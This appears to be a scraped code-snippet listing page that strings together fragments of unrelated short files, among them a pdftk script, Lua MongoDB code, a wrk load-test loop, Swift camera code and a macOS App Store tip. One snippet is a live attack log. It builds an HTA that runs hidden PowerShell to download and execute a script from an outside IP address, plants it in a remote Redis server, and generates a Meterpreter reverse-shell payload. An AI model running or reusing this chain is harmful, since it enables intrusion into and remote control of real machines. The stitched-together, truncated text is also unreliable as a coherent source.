This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wrerwe | |
w | |
erw | |
rew | |
rwe |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Cscript webservicetest.js | |
pause |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
subject="$1" | |
name="$(basename "$subject")" | |
path="$(dirname "$subject")" | |
tmp_new="$path/__tmp_new_$name" | |
tmp_meta="$path/__tmp_meta_$name.txt" | |
echo "Dumping metadata..." && | |
pdftk "$subject" dump_data > "$tmp_meta" && | |
echo "Opening metadata..." && |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[email protected]:~# cat hta-psh.txt | |
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt> | |
# cat hta-psh.txt |redis-cli -x -h 192.168.138.27 set a | |
OK | |
#msfconsole | |
use payload/windows/meterpreter/reverse_tcp | |
generate -t hta-psh -f /var/www/1.ps1 | |
#cat 1.ps1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
./list_dopa.lua | jq -c '.data []| {date: (.createDate + .createTime[0:5]) | strptime("%m/%d/%y%H:%M") | mktime , date2: (.createDate + .createTime[0:5]) | strptime("%m/%d/%y%H:%M") | todate, createDate: .createDate, createTime :.createTime, id : ._id}' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local mongol = require "resty.mongol" | |
local bson = require "resty.mongol.bson" | |
local conn = mongol:new() | |
conn:set_timeout(1000) | |
local ok, err = conn:connect('127.0.0.1', '27017') | |
if not ok then | |
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR | |
ngx.say('Failed : '.. err) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Example usage with several configuration sets as in multiple connections durations and threads. | |
# You may go take the rest of the day off while this will run ;) | |
for duration in 10s 1m 10m 1h | |
do | |
for connections in 100 200 300 400 500 600 | |
do | |
for thread in 1 2 3 4 5 | |
do | |
wrk -d$duration -c$connections -t$thread -s wrk-script.lua http://localhost:4001/beacon/0001/demo-load-test/test/web |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
console.log ('Input some code:'); | |
process.stdin.resume(); | |
process.stdin.setEncoding('utf8'); | |
process.stdin.once('data', function (someCode) { | |
process.stdin.pause(); | |
console.log ('Code: ' + someCode); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import UIKit | |
import AVFoundation | |
class ViewController: UIViewController, AVCaptureMetadataOutputObjectsDelegate { | |
@IBOutlet weak var myView: UIView! | |
var session: AVCaptureSession? | |
var device: AVCaptureDevice? | |
var input: AVCaptureDeviceInput? |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Steps: | |
Open Terminal. | |
Run the following command: | |
defaults write com.apple.appstore ShowDebugMenu -bool true | |
Relaunch the App Store. | |
Choose the menu item Debug → Reset Application. |
NewerOlder